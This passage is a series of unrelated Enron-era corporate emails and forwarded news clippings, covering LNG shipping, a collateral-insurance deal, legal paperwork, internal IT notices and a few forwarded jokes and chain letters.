"spun-out", funded and managed as an "outside venture? 
*   How have compensation concerns put increasing pressures on corporate
venture programs?

Lunch

HARVARD BUSINESS SCHOOL PUBLISHING
Angelia Herrin
Executive Editor | Conference Director
300 NORTH BEACON STREET | WATERTOWN, MA 02472
Mail: 60 HARVARD WAY | BOSTON, MA 02163
Ph 617.783.7844 | Fx 617.783.7494
aherrin@hbsp.harvard.edu
Please visit our web site: <http://www.hbsp.harvard.edu/>

Capt. Kvammen,

Thank you for the update.  It looks as if all is now going according to plan.

I have made arrangements through your agents Barwil to arrive in Sur during 
the day of March 20.  I will be in the Mercur hotel and will come on board as 
soon as possible after Hoegh Galleon has docked at Qalhat.

Regards,

Tony Galt

"Remote PO - BULKPC - BULKPC" <bulkpc.bulkpc@hoegh.no> on 03/14/2001 01:30:18 
PM
To: "Capt. Tony Galt, Enron, Houston" <Tony.Galt@enron.com>
cc: "Dan Masters, Enron, Houston" <Dan.Masters@enron.com>, "Jim Fernie, 
Enron,Houston" <Jim.Fernie@enron.com>, "Paul Y'Barbo, Enron Houston" 
<Paul.Y'Barbo@enron.com>, "Wayne Perry, Enron" <Wayne.Perry@enron.com> 

Subject: LNG/C"HOEGH GALLEON"   -  COOLDOWN AND GAS TRIAL

Dear Tony,

Please be advised that all cargo tanks have been cooled down and all
cargo pumps and spray pumps have been run and worked satisfactory.
Have just arrived Bahrain, March 14th 1815lt, and expecting to stay
here abt 4 days.  Reverting.

Capt Kjell Kvammen

Please be informed, I will be out on vacation this Monday,  October 29.   I will be available for you, however, just call me on my cell phone (713) 822-7040 or leave me a voice mail.  I will log in from home and try to work from home as much as possible.

Thanks and have a great weekend.

adr

Audrey D. Robertson
Transwestern Pipeline Company 
email address:  audrey.robertson@enron.com
(713) 853-5849
(713) 646-2551 Fax

Just realized I never replied to you. Sorry.

The client he is referring to use to trade with us at Tiger. He is setting up 
his own hedge fund with the backing of a larger fund. I know who it is, but 
it is confidential at this point. We are negotiating documentation for the 
backer at this point in time and hence why Paul said we have docs in the 
works.

I'll fill you in with more details as I get them.
Per

From: Tana Jones on 09/29/2000 07:25 AM CDT
To: Per Sekse/NY/ECT@ECT
cc:  
Subject: Swap Document

Per,

What's the deal he's talking about?  I also do not think we could put ENA and 
Enron Metals Ltd. trades under the same master.  When you have a mingute give 
me a ring.

Tana
----- Forwarded by Tana Jones/HOU/ECT on 09/29/2000 07:24 AM -----

	Craig Young
	09/29/2000 07:16 AM
		 
		 To: Alan Aronowitz/HOU/ECT@ECT, Tana Jones/HOU/ECT@ECT, Per 
Sekse/NY/ECT@ECT, tj.pimpinelli@mglondon.com, Justin Boyd/LON/ECT@ECT
		 cc: Craig Young/NY/ECT@ECT
		 Subject: Swap Document

Name Catequil
MD  Paul Touradji (X Tiger)
  
We were advised that a swap document is in the works through Per Sekse Enron 
New York. We would like this document to cover all products and Enron Metals 
Ltd. ---not just North America.

My guess--- we trade with most of Per Sekse funds and this issue should be 
clarified 

Craig

Louise,

The overall idea seems logical as a method to leverage collateral received on profitable deals.
One additional benefit would be if this allowed us to use other securities as collateral that a counterparty would not accept (I'm not sure what kind of other securities we have).
I also think that for EnronOnline to continue it's success that in the medium term it will need some form of margining/collateral as part of the system, but you will have a better sense for weither this would be an issue in the US given a healthy Enron - it is an issue in Europe and with banks regardless.

Issues:
Big systems issue for implementing a same day mark to market and liquidity calculation accross all products on EnronOnline. Therefore, I assume this would be rolled out only on the highest volume products. This will increase the cost of each transaction.
Liquidity algorithm will be hard for counterparties to swallow as they will not want to post incremental capital.
Contract Issue - do you make the collateral part of all EnronOnline deals as if you don't it will be difficult to differentiate between counterparties.
Existing exposures - How do we assign the collateral rights on existing net exposures to VMAC. This will likely be a logistical issue as you must have many counterparties but if the high value ones are few it could be doable, but why would the counterparty agree as he should already have our collateral (e.g. LC) or this may require him posting more.
Timing - This might be implemented by end of Q1, but is unlikely to give you immediate benefit.
Cost - Am not sure what US brokerage is but this seems to be equivalent to 40% of brokerage as it is being paid on both sides. Does this destroy margins.
Threshold - Would there be a credit threshold as if not this would be very onnerous on all parties.

Quick win:
Effectively you are using collateral received to post collateral through a sleave. Would it not be possible to negotiate this directly with a counterparty given a select few who require high postings currently. In either case you would have to negotiate adjustment to collateral but if it can be done without a sleave but with a bigger haircut then you would avoid the delay in setting this up wholesale. I do not know if this is legally possible. 

I'll call to discuss and if you want me to do more detailed work let me know.

M

Sent:	27 November 2001 16:04
To:	Romano, Marcello
Subject:	FW: VMAC Transaction 

I'll get you working

From: 	Eichmann, Marc  
Sent:	Wednesday, November 21, 2001 2:51 PM
To:	Kitchen, Louise; Lavorato, John
Cc:	Richter, Brad
Subject:	VMAC Transaction 

Louise and John:

Here is a general description of the transaction we are negotiating with VMAC (Virtual Markets Assurance Corporation)-FSA (Financial Securities Assurance). FSA is an AAA rated insurance company large enough to provide us with a credible deal.  

Here are the deal highlights:

FSA would wrap Enron's credit exposure as follows:

1) In case of default FSA would liquidate the contracts sleeved to them by Enron and use the proceeds of in the money transactions to pay for out of the money transactions.

2) In case Enron is out of the money in the portfolio of trades sleeved to VMAC. FSA would pay the counterparties with the 100% collateral previously posted by Enron and managed on a day to day basis.

FSA has mentioned the possibility of extending a line of credit to Enron based on its net collateral position (~$1.3 billion as of today) and the net mark to market position (~ $1.4 billion to date). Haircuts on the line of credit would have to be negotiated and might be significant.

FSA-VMAC would receive as compensation the fee structure described under terms and conditions. Under the current structure the only risk FSA- VMAC is exposed to is the risk of simultaneous default by Enron and another counterparty and the operational risk of marking to market the positions and liquidating the contracts. 

Please find enclosed the following:

1) Transaction structure : 	Describes the payment logic in case of default
2) Terms and conditions :	Describes the terms and conditions under negotiation for the contract
3) Collateral Haircuts : 		Describes the collateral haircuts on the securities posted to FSA to guarantee our net mark to market position (if out of the money)
4) FSA snapshot
5) FSA rating: 			AAA qualification of FSA by Moody's

Please feel free to contact me or Brad Richter to clarify any doubts with respect to this,

Marc Eichmann
Work 713 345-8422, Cell 713 870-2696
Manager Transaction Development
EnronOnline LLC

 << File: VMAC Transaction structure.doc >>  << File: VMAC Term and Conditions.doc >>  << File: Collateral Haircuts.doc >>  << File: FSA snapshot.doc >>  << File: FSA rating.pdf >> 

>From: "Pon Vongsombath" <pon_v@email.msn.com>
>To: "Ray - TUSA" <rperez@tramontina-usa.com>, "Quan" <mqdo@yahoo.com>,
>"Marla" <marla.trevino@t1.com>, "Kevin - TUSA"
><kperkins@tramontina-usa.com>, "Julie - TUSA"
><jweidenheft@tramontina-usa.com>, "Chi" <chi325@hotmail.com>, "Barbie -
>TUSA" <bloera@tramontina-usa.com>, "Andy Suarez" <suarez2071@yahoo.com>,
>"Amber" <oicu81269@hotmail.com>
>Subject: hand signals
>Date: Tue, 24 Apr 2001 21:59:55 -0500
>
>A man is doing yard work and his wife is about to take a shower. The man
>realizes that he can't find the rake. He yells up to his wife, "Where is
>the rake?"
>
>She can't hear him and shouts back, "What?
>
>The man first points to his eye, then points to his knee and finally makes
>a >raking motion.
>
>The wife is not sure and says, "What?"
>
>The man repeats his gestures. The wife replies that she understands and
>signals back. She first points to her eye, next she points to her left
>breast, then she points to her butt, and finally to her crotch.
>Well, there is no way in hell the man can even come close on that one.
>Exasperated, he goes upstairs and asks her "What in the hell was that?"
>
>She replies, "EYE - LEFT TIT - BEHIND - THE BUSH!"
>

I would have David interface with the Costilla D&O insurer. I would call Jim Studdert re Enron coverage.

From: 	Brownfeld, Gail  
Sent:	Thursday, September 20, 2001 2:33 PM
To:	Sanders, Richard B.
Subject:	Costilla Energy Litigation

	Is there an insurer to whom we ought to forward the Zapata and/or Harris county suits? In the alternative, should I send a copy to David Brown at VE? 

---------------------- Forwarded by Darron C Giron/HOU/ECT on 10/17/2000 
10:12 AM ---------------------------

Greg Couch
10/17/2000 10:04 AM
To: Darron C Giron/HOU/ECT@ECT, bbernard@hypercon.com, 
mafullerton@westernhubs.com, lbkudu@gateway.net
cc:  
Subject: FW: WORTH SHARING

---------------------- Forwarded by Greg Couch/HOU/ECT on 10/17/2000 10:03 AM 

"Clark, Mike" <mclark@ARC-AG.COM> on 10/17/2000 07:24:27 AM
To: "Berg, Cindy" <cberg@ARC-AG.COM>, "Miller, David" <dmiller@ARC-AG.COM>, 
"Clark, Graydon" <gclark@arc-ag.com>, "'Greg Couch-Enron'" <gcouch@enron.com>
cc:  

From: May, Dallas
Sent: Tuesday, October 17, 2000 7:11 AM
To: Clark, Mike; Graham, Annette; Kirksey, Andy; 'Wayne M.';
'Tammy-Home'; 'rcamp'; 'Marlena'; 'Dean P.'; 'Dawn'

From: Bill Wallace [mailto:wallace@NSTEXAS.COM]
Sent: Tuesday, October 17, 2000 6:40 AM
To: Dallas May (E-mail); Brian Crawford (E-mail); Jay Yeaman (E-mail);
J. D. Hancock (E-mail); George Cudworth (E-mail); Rob Hayes (E-mail)
Subject: WORTH SHARING

This one is worth sharing...Guess which global superpower these
>statistics are from:
>
>
>709,000 regular (active duty) service personnel
>
>293,000 reserve troops
>
>Eight standing Army divisions
>
>20 Air Force and Navy air wings with 2,000 combat aircraft
>
>232 strategic bombers
>
>13 strategic ballistic missile submarines with 3,114 nuclear warheads on
>232 missiles
>
>500 ICBMs with 1,950 warheads
>
>Four aircraft carriers and all the support bases, shipyards and logistical
>assets needed to sustain such a force
>
>Is this country Russia? . . . No
>
>Red China? . . . No
>
>Great Britain? . . . Wrong Again
>
>USA? . . . Hardly
>
>Give up??
>
>Well, don't feel too bad if you are unable to identify this global
>superpower because this country no longer exists. It has vanished. These
are
>the American military forces that have disappeared since the 1992 election
>of Bill Clinton and Al Gore.
>
>Sleep well, America. It's time to vote!

 - C.DTF

---------------------- Forwarded by Eric Bass/HOU/ECT on 12/06/2000 08:55 AM 

Luis Mena@ENRON
12/06/2000 08:41 AM
To: Roberto Martinez/HOU/EES@EES, Brian Hoskins/Enron Communications@Enron 
Communications, Eric Bass/HOU/ECT@ECT
cc:  
Subject: FW: Top 10 Colleges with the Best Looking Girls

Thank you for your attention.
---------------------- Forwarded by Luis Mena/NA/Enron on 12/06/2000 08:33 AM 

"Jason Van Kirk" <jvankirk@mercatorcapital.com> on 12/06/2000 08:06:56 AM
Please respond to <jvankirk@mercatorcapital.com>
To: "Oscar Szigeti" <oszigeti@lifeminders.com>, "Nick Schuneman" 
<wuhbow@yahoo.com>, "Myron Van Kirk" <mvankirk@vkri.com>, "Michael J. Smith" 
<msmith@mercatorcapital.com>, "Mark Murray" <mmurray@nationaljournal.com>, 
"Luis Mena" <Luis_Mena@ei.enron.com>, "John F. Baring" 
<jbaring@mercatorcapital.com>, "John Appuliese" <jappuliese@aol.com>, 
"Guillaume Girard" <ggirard@mercatorcapital.com>, "Erin D. Carlson" 
<e.carlson@mail.utexas.edu>, "Dave Foster" <BDLFoster@aol.com>, "Chris 
Schuneman" <CSCHUNEMAN@itg.mea.com>, "Rod Hackman" 
<rhackman@mercatorcapital.com>
cc:  

May I have your attention, please!!

<ahem>

Just wanted everyone to know that Texas was voted #1 by Playboy magazine for
"Colleges with the Best Looking Girls".  As if we needed affirmation of this
fact...

But, now, we have full-fledged proof to show the world where it's at.

I've never been prouder to say, "Hook 'em Horns!!"

This comes from playboy.com

The List:

1.  The University of Texas
2.  Arizona State
3.  UCLA
4.  University of Florida
5.  University of Arizona
6.  Florida State
7.  University of Alabama
8.  University of Colorado
9.  East Carolina
10. University of Georgia

Hi there,

I think a good next step while the counterparties are reviewing the docs is 
the creation of a closing checklist, since we have a good starting point with 
the Intergen closing list.  We can get organized on putting together a 
package of the next traunche of docs, such as the parent guaranty, escrow 
agreement, etc. 

Thanks,

Kay

PS.  You might want to check the docs I sent out to Jake to make sure I 
didn't put a Panda in a Delta doc.  I checked, but I need to be double 
checked.  Another good reason to use XYZ's until the finalist is selected.

I think I gave my legal team the wrong email address because this got bounced back to them, but here is the NDA.  Please forward any questions and or changes to 
Tana Jones at tana.jones@enron.com.

Thanks,
Ross

From: 	Jones, Tana  
Sent:	Thursday, October 11, 2001 10:35 AM
To:	'eduardo_alvarez@bah.com'
Cc:	Mesquita, Ross; Koehler, Anne C.
Subject:	NDA - Booz Allen & Hamilton Inc.

At the request of Ross Mesquita, I am attaching our proposed form of Non-Disclosure Agreement.  If the enclosed meets with your approval, please execute the agreement and return it to me via fax no. (713) 646-3490.  I will then have it executed by Enron.  If you have any comments or questions please call Anne Koehler, Senior Counsel, at (713) 853-3448 or me at (713) 853-3399.  We look forward to hearing from you.

I will be working on all RAC bonuses on Wednesday and ask that each of you 
review  your department's bonuses on Thursday so that all of RAC can be 
submitted on Friday.   Thanks.

Rick

Hi.  Don't forget you can reach me by email.

Good catch on the fever this am!

Love,

Kay

Could you please respond for me.   Mark
----- Forwarded by Mark E Haedicke/HOU/ECT on 10/23/2000 02:47 PM -----

	Mark Scott@ENRON
	10/16/2000 06:52 PM
		 
		 To: Darren P Adamik/HOU/ECT@ECT, Phillip K Allen/HOU/ECT@ECT, Jeremy 
Blachman/HOU/EES@EES, Harold G Buchanan/HOU/EES@EES, John 
Cheng/NA/Enron@Enron, Mark Cowley/Corp/Enron@ENRON, Mark 
Davidson/Corp/Enron@Enron, Lisa M Feener/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Borislav Feschiev/NA/Enron@ENRON, Jeff Forbis/HOU/EES@EES, Sue 
Gaines/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Mark E Haedicke/HOU/ECT@ECT, 
Larry Harbuck/Corp/Enron@ENRON, Mike Harris/HOU/EES@EES, Brenda F 
Herod/HOU/ECT@ECT, Wei Hu/HOU/ECT@ECT, Kevin Hughes/HOU/EES@EES, Lenine 
Jeganathan/HOU/ECT@ECT, Frank Karbarz/HOU/ECT@ECT, Hasan 
Kedwaii/ET&S/Enron@ENRON, Larry Steele/EFS/EES@EES, Kevin 
Lee/Corp/Enron@Enron, Phil Lowry/OTS/Enron@ENRON, Peggy Mahoney/HOU/EES@EES, 
Carol Jean Marshall/HOU/ECT@ECT, Michelle Maynard/HOU/EES@EES, Rebecca 
McDonald/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Carol Moffett/HOU/EES@EES, Mark 
S Muller/HOU/EES@EES, Ted Murphy/HOU/ECT@ECT, Marie 
Newhouse/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Lucy F 
Pearson/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Greg Piper/Corp/Enron@Enron, 
Paul F Poellinger/HOU/ECT@ECT, John D Powell/HOU/ECT@ECT, John M 
Rose/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Caroline 
Schaeffer/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Chris 
Schomer/Corp/Enron@ENRON, Larry D Scott/ENRON@Gateway, Simon 
Sear/EU/Enron@Enron, Russell Servat/Corp/Enron@ENRON, Jill 
Setera/ET&S/Enron@Enron, Rehman Sharif/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, 
Wade Stubblefield/HOU/EES@EES, Fletcher J Sturm/HOU/ECT@ECT, Evans 
Swann/HOU/EES@EES, Yannis Tzamouranis/HOU/ECT@ECT, Rob Walls/NA/Enron@Enron, 
N Jessie Wang/ENRON_DEVELOPMENT@ENRON_DEVELOPMENT, Greg Whalley/HOU/ECT@ECT, 
Joe Zou/Corp/Enron@Enron
		 cc: Enron Network Security
		 Subject: High Speed Internet Access

According to our records all of you have some sort of high speed internet 
access to your home.  Either Cable Modem or DSL service.  When most of these 
lines where installed, we did not have a standard on how to connect back to 
the Enron network.  Most if not all of you are using the Client software on 
your PC's.  In order to provide more security to both Enron and Your PC.  We 
need to configure and deploy a Nortel Instant Internet Box.   the way the 
Nortel box works is what they call splitt tunnelling.  If it sees traffic 
that needs to go to enron it will go through the tunnel, other wise it goes 
directly to the internet.

We will need to know the following information to configure and deploy the 
Router
1. UserName and Login if required by the ISP.
2. If you have static IP addresses, We need to know that as well.
3. Co/RC to charge for the Nortel Box (Approx $500.00)

If you no longer have DSL or Cable service or You do not have either please 
let us know.  Other wise Please return the above information back to Enron 
network security.

Thanks

Mark Scott

if you haven't already, pls print for me.  thanks. DF
---------------------- Forwarded by Drew Fossum/ET&S/Enron on 03/06/2000 
11:11 AM ---------------------------

Tammy Jaquet

03/03/2000 08:50 PM
To: Mary Kay Miller/ET&S/Enron@ENRON, Drew Fossum/ET&S/Enron@ENRON, Michel 
Nelson/ET&S/Enron@ENRON
cc: Julia White/ET&S/Enron@ENRON, Ricki Winters/ET&S/Enron@Enron 

Subject: Re: 1999 Mastio Review  

In preparation of our meeting on March 7th,  attached are the draft results 
of the Mastio Review for NNG and TW.

	From:  Ricki Winters                           03/01/2000 04:32 PM
	
cc: Julia White, Tammy Jaquet/ET&S/Enron@ENRON 

Subject: 1999 Mastio Review

As you all know we have received detail information supporting the ET&S 
rating out of 50 companies, and we have been analyzing such information in 
preparation for a review with Stan and his direct reports by mid March.  I 
have been discussing our preliminary results with various different groups 
within ET&S and need to also get your input. Therefore, I have set up a 
meeting on Tuesday March 7th at 1:30 p.m. in EB49C2, to review our 
preliminary findings. The goal of this meeting is to review the data we have 
received from the focus group of ET&S customers, and to discuss such results 
from the standpoint of 5 areas we can focus on for improvement both short and 
long term.  Please be expecting a draft of the results from Tammy Lee-Jaquet, 
by close of business this Friday to allow time for review prior to this 
meeting. 

Thank you,
Ricki

Tana -

Thanks for the help.

M

Sent:	Monday, October 01, 2001 2:45 PM
To:	Greenberg, Mark; Rosman, Stewart; Hall, Steve C. (Legal)
Cc:	Hansen, Leslie; Sever, Stephanie
Subject:	RE: Douglas Co. PUD

I just spoke to Stephanie Sever with the EOL team, and she said this counterparty has been approved and should migrate tonight and they will send them a password out tomorrow.

From: 	Greenberg, Mark  
Sent:	Monday, October 01, 2001 12:53 PM
To:	Jones, Tana
Cc:	Hansen, Leslie
Subject:	FW: Douglas Co. PUD

Tana -

Do we have anything on this entity that is in the pipeline?  I do not have anything on this.  

If you do not, I wonder if it is another one that Dan Hyval was handling prior to his departure?

Mark

From: 	Hansen, Leslie  
Sent:	Monday, October 01, 2001 12:08 PM
To:	Greenberg, Mark
Cc:	Hall, Steve C. (Legal)

Mark:

Can you please give Steve Hall a call today to discuss teh status of this matter.

Thanks,

Leslie

From: 	Hall, Steve C. (Legal)  
Sent:	Monday, October 01, 2001 12:01 PM
To:	Hansen, Leslie
Cc:	Scholtes, Diana; Rosman, Stewart

Any insight on what is holding this up?

From: 	Scholtes, Diana  
Sent:	Monday, October 01, 2001 9:31 AM
To:	Hall, Steve C. (Legal)
Cc:	Rosman, Stewart
Subject:	Douglas Co. PUD

Douglas County has been trying to get signed up with EOL for over a month.  From what the Help Desk is telling me, they believe its sitting with legal at this point.  Can you please assist us in getting their paperwork finished?

Much appreciated!

Diana Scholtes
West Power
503-464-3807

Dear Vince,

I just wanted to let you know that I'm working here for the summer.  I'm with 
CTG (Commercial Transactions) in the Industrial services group on the 30th 
floor.  I'm excited to be back at Enron and look forward to a great summer.  
I'm also happy to know that it is working out with the new members who have 
joined Research.  I hope you had a very nice Memorial Day weekend and an even 
better birthday.  Happy (belated?) birthday!

Warmest regards,
Van

Christie,

This is regarding the risk management project.

I shall set up a separate meeting with Jeff regarding Wharton Tiger Team.
I would appreciate if you could call in as well.

Vince

Christie Patrick
12/12/2000 10:14 AM
To: Shirley Crenshaw/HOU/ECT@ECT
cc: James L Bouillion/HOU/ECT@ECT, George Carrick/HOU/ECT@ECT, Vasant 
Shanbhogue/HOU/ECT@ECT, Vince J Kaminski/HOU/ECT@ECT 
Subject: Re: Follow-up Meeting on Wharton  

Hi Shirley!

I'll be on vacation, but will be Happy to call in at that time, or any other 
time that is convenient for Vince.  Should we also include Jeff Shankman?

Please let me know the time and telephone number to call, and I'll be there!

Thanks!

--Christie.

JAPAN: UPDATE 1-Enron says priority in Japan is electricity market.
Reuters English News Service, 10/31/00

Enron's Japan Unit To Offer "Elec Discount Pdt" Nov
Dow Jones Energy Service, 10/31/00

COMMODITIES & AGRICULTURE: US makes zinc stockpile awards NEWS DIGEST
Financial Times, Oct 31, 2000

Arena flier rouses ire of backers 
Letter attacks plan, mayor and Democrats 
Houston Chronicle, 10/31/00

AEP to Divide Its Assets Between Two New Companies (Update1)
Bloomberg, 10/31/00

10/31/2000
Reuters English News Service
(C) Reuters Limited 2000.

TOKYO, Oct 31 (Reuters) - Enron Corp Chairman and Chief Executive Kenneth Lay 
said on Tuesday the Houston-based company's near-term priority in Japan was 
the electricity supply market, which is undergoing deregulation. 
"One of our highest priorities...in the next two or three years is 
electricity," Lay told a news conference.
Last year, Enron established its first Japanese venture, E Power, to try to 
break into Japan's electricity market that since March has allowed 
non-utility firms to supply power to large-lot industrial and commercial 
users. 
Japanese media have reported that Enron, North America's leading buyer and 
seller of electricity and natural gas, plans to build a coal-fired power 
plant in Fukuoka prefecture on the southern main island of Kyushu. 
Asked whether Enron planned to buy or build a power plant in Japan, Lay said 
the company believed there was surplus capacity in Japan on which it hoped to 
draw. 
"Our belief is, if anything, today there probably is surplus capacity both of 
generation and transmission capacity," Lay said. 
"It's not a matter that we are reluctant to buy or build assets," he said. 
"If the market has surplus capacity, there's not much reason to do that, at 
least initially." 
Enron also unveiled on Tuesday a package offering eligible electricity users 
three-to five-year electricity contracts that it says will reduce their 
electricity bills by up to 10 percent for the first year, with the 
possibility of further reductions for the remaining years of the contract. 
Several other foreign energy firms have also shown an interest in entering 
the Japanese market. 
These include U.S. oil major Texaco Inc , Vivendi SA and the Royal 
Dutch/Shell Group . 
None has started actually supplying electricity to large-lot consumers in 
Japan, however. Enron set up a second subsidiary in May, Enron Japan Corp, 
with the aim of seeking business opportunities other than electricity supply 
in Japan, mainly through EnronOnline. 
The Web-based EnronOnline trading system had, as of October 11, executed more 
than 350,000 transactions with a gross value of $183 billion on the system 
since it was launched in late 1999. 
Enron uses the online system to make markets in commodities such as pulp and 
paper, petrochemicals, metals and broadband capacity, in addition to gas and 
power.

Dow Jones Energy Service
(Copyright (c) 2000, Dow Jones & Company, Inc.)

TOKYO -(Dow Jones)- Enron Corp. (ENE), the Houston-based energy and 
communications giant, said Tuesday its wholly-owned subsidiary Enron Japan 
Corp. will offer effective Nov. 1 an "electricity discount product" targeting 
Japan's high-volume large-lot power users, numbering 8,000. 
Joseph Hirl, Enron Japan's president and chief executive officer, told 
reporters that his company is "already working with a number of entities" to 
discuss power supply contracts.
Enron's package, which will typically run three to five years, will allow 
customers to "immediately" cut up to 10% in their current electricity costs 
for the first year of the contracts, with the possibility of further 
reduction for the following years. 
In the first full year of the contract, Enron will pay a financial rebate of 
up to 10% to a customer on a kilowatt-hour basis, under the customers' 
existing power supply contracts with other power suppliers. 
Enron will pay a rebate in the first year but will not actually supply 
From the second year onward, Enron will supply actual electricity to the 
customer at agreed fixed prices. 
Under the government's partial deregulation implemented March 21, high-volume 
large-lot retail electricity consumers - which represent roughly 27% of 
Japan's total power demand - can now freely choose their power suppliers. 
Enron declined to elaborate on how it plans to secure electricity necessary 
for fulfilling the proposed contracts. 
Enron Corp.'s chairman and CEO Kenneth Lay, who was speaking at the same 
press conference, said the company's highest priority in the Japanese market 
for the next two to three years will be electricity trading and marketing. 
Next comes trading in metals, weather derivatives and pulp and paper, Lay 
said. 

In addition to those main focus areas, Enron Japan's Hirl said there is 
"tremendous potential" in areas such as liquefied natural gas, coal and 
foreign exchange trading. 
"We're looking to provide much services we can at the best price, and in many 
cases at lower prices, in most of the services we provide," Hirl said. 
Enron also plans to introduce broadband services in Japan. 
"For the next two to three years, establishing and extending our broadband 
network in Japan is a key part of our growth," said Kenneth Rice, chairman 
and CEO of Enron Broadband Services. 
Japan is a huge Internet market and it's also a logical foothold for Enron to 
extend its network into the rest of Asia, he said. 
By offering "EnronOnline" - the world's largest business-to-business 
electronic commerce platform, "Enron can help the Japanese economy become 
more efficient by significantly reducing the costs of many products and 
services," Lay said. 
-By Maki Aoto, Dow Jones Newswires; 813-5255-2929; maki.aoto@dowjones.com

		COMMODITIES & AGRICULTURE: US makes zinc stockpile awards NEWS DIGEST
Financial Times, Oct 31, 2000, 45 words
US makes zinc stockpile awards 
		The US Defence National Stockpile Centre awarded about 26.6m lbs of zinc to 
three groups in its latest solicitation of offers. 
		Awards were made to Sogem USA, Enron Metals & Commodity Group and US Zinc for 
an approximate value of Dollars 15m. Reuters, New York 
		Copyright , The Financial Times Limited

Oct. 30, 2000, 9:50PM
HOUSTON CHRONICLE
By ERIC BERGER 
Copyright 2000 Houston Chronicle 
Arena proponents are decrying a letter circulating among area Republicans 
that ties the proposal to Houston Mayor Lee Brown and contains at least six 
factual errors. 
Brown, a central figure in the 1999 arena proposition that voters rejected, 
has had a considerably less visible role in this year's effort. Many 
Republicans viewed a vote against the arena last year as a vote against 
Brown, a Democrat, and an opportunity to embarrass him. 
"There are three areas where we believe Mayor Lee Brown's multimillion-dollar 
corporate welfare campaign must be addressed," states the letter, which was 
mailed to more than 500 Republicans and was sponsored by Republican precinct 
chairwoman Mary Jane Smith. 
What it fails to mention is that conservative U.S. Rep. Bill Archer, 
R-Houston, has endorsed the plan and that the pro-arena campaign chairmen are 
notable Republican fund-raisers Ken Lay and Don Jordan. 
"I suppose she believes that we've programmed Lay and Jordan to vote 
Democrat," said pro-arena campaign manager Dave Walden. "And that I spent a 
day hypnotizing Bill Archer." 
Beyond Brown, the letter also seeks to tie the pro-arena campaign to Vice 
President Al Gore, the Democratic presidential candidate. 
"They have teamed up with Democrat activists and Mayor Lee P. Brown to 
connect arena and Gore voters," according to the letter. "Turn out a 
pro-arena vote and you turn out a Gore vote." 
Such questionable associations -- Lay, for example, is one of Republican 
presidential candidate Gov. George W. Bush's closest business advisers -- 
offer a vivid look at how desperate arena opponents are, Walden contends. 
This criticism failed to stymie Smith, who plans to send out another printing 
of the letter this week. "All of my Republican buddies are opposed to this," 
she said. "I think it's kind of funny the arena people are taking the 
attitude of `How dare anyone question us?' " 
The letter, which clearly targets Brown, further suggests that "what Houston 
lacks is world-class leaders" who would have negotiated a tougher deal with 
Houston Rockets owner Leslie Alexander. 
"Mayor Lee Brown won't fund the immunization of Houston's poor Hispanic 
children, but he is able to build a parking garage benefiting a handful of 
multimillionaires," the letter says. 
Walden called that statement racist. 
It is also inaccurate, as the city is not building the parking garage. A 
group of private business leaders, headed by Lay, will lend the Harris 
County-Houston Sports Authority $30 million for the garage. The sports 
authority, and its hotel and car rental tax revenues, are not affiliated with 
the city. 
Among other errors in the letter: 
? "The ballot language does NOT rule out ... the usual cost overruns." This 
is irrelevant because the Houston Rockets pay construction cost overruns. 
? "Taxpayers fund and build the arena garage with Les Alexander reaping ALL 
of the parking fees." The private, interest-free loan will help the sports 
authority finance the garage. To help repay the loan, the sports authority 
will collect parking fees during the daytime and at concerts and other events 
that don't involve Alexander's Rockets, Comets and ThunderBears. 
? Although the city gets use of the arena for 20 dates a year, the letter 
says that only five days may be leased for revenue. In fact, all 20 dates may 
be used for fund-raisers. This was clarified in changes to the letter of 
agreement between the Rockets and the sports authority. 
? "This year's ballot language gives an incredible $200 million to the 
Rockets for naming rights, while the city receives less than 10 percent." 
Under terms of the agreement, the Rockets may sell the naming rights to the 
arena, but it is unlikely the team would receive $200 million. Such a payment 
is not guaranteed by the ballot language. The city receives 5 percent of the 
revenue from the sale of the naming rights. 
? "Today, Houston is building the Hobby Arts Center, again, with no public 
funding. If we can use private funding for the arts, why can't our sports 
owners fund their own projects?" Actually, the city donated land appraised at 
$35 million for the Hobby Center for the Performing Arts, and gave another 
$30 million in hotel taxes toward its construction. The city also gives $8 
million annually to the Cultural Arts Council of Houston, a $3.5 million 
subsidy to the Wortham Center and a $1.5 million subsidy to Jones Hall. 

10/30/0 18:40 (New York)

     (Adds company, analyst comments starting in fourth
paragraph.)

     San Francisco, Oct. 30 (Bloomberg) -- American Electric Power
Co., a Columbus, Ohio-based owner of utilities in 11 U.S. states
and Europe, said it will split its regulated utilities from its
less-regulated businesses, creating two wholly owned companies.
     The company also said it has ruled out merging Seeboard Plc,
a natural gas and power distributor it owns in England, with
Yorkshire Electricity Plc, a U.K. utility partly owned by AEP.
     The separation of its businesses is patterned on plans it has
already filed in Ohio and Texas, AEP said. Earlier this year, the
company was required to separate all or most of its power plants
and assets from its transmission lines and related assets in those
states as part of efforts to open the Ohio and Texas markets to
competition.
     The separation will take about a year to complete, said E.
Linn Draper Jr., AEP's chairman, president and chief executive
officer. Once it is completed, AEP will have the option of
spinning off one of the two companies.
     ``We will have options of IPO, spin-off, divestiture,''
Draper told analysts at the Edison Electric Institute conference
in San Francisco.
     As deregulation is approved in other states, AEP said, it
plans to move all of its transmission system into the company that
runs its regulated utilities, which will continue to have fixed
rates of return set by regulators, and move its power plants into
the company that runs less-regulated businesses with more
opportunities for growth.
     ``I think it's the best way for them to organize such a big
company,'' said PaineWebber Inc. analyst Barry Abramson, who has a
``neutral'' rating on AEP. ``It'll focus better attention on the
growth business, not the slower-growing distribution business.''

                       `Undervalued' Shares

     Draper told analysts that part of the reason for the
restructuring is to raise the value of the company's shares by
more clearly showing the performance of its better-performing
generation, wholesale marketing and trading businesses.
     ``We are very unhappy about the stock price,'' Draper said.
``We think it is significantly undervalued.''
     The wholesale power business -- the buying and selling of
power between utilities and other large consumers and generators -
- is already deregulated.
     ``We have no plans to expand our distribution business either
in the United States or internationally,'' Draper said.
     AEP said it will file its restructuring plan with the U.S.
Securities and Exchange Commission sometime this week and complete
the separation by the end of 2001, in line with the deregulation
timetable in Texas and other states it serves.
     AEP completed the $10 billion acquisition of Central & South
West Corp. in June, creating a utility with 5 million customers.
Seeboard and the stake in Yorkshire came with the purchase.
     In February, then-Central & Southwest President Tom Shockley,
now AEP vice chairman, discussed the possibility of merging
